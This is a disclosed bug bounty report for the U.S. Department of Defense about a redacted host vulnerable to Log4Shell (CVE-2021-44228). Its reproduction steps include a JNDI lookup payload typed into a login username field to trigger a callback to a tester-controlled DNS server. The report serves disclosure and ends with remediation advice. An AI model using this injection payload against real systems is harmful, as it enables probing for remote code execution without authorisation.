HexBrain

U.S. Dept Of Defense · Report #1423496

██████████ running a vulnerable log4j

Validstatus
criticalseverity
4upvotes
19 Jan 2022disclosed

How it was found

Description:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

Impact

Probably arbitrary code execution

System Host(s)

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Affected Product(s) and Version(s)

CVE Numbers

CVE-2021-44228

Steps to Reproduce

  1. Browse to https://████████/███████https%3A%2F%2F█████████%2F
  2. Enter a ${jndi:ldap://dns-server-yoi-control/a} into the username field
  3. Enter a random password
  4. Submit

Observe that a request was made to your DNS server. This strongly suggests a vulnerable log4j.

Suggested Mitigation/Remediation Actions

Update log4j or disable jndi support.

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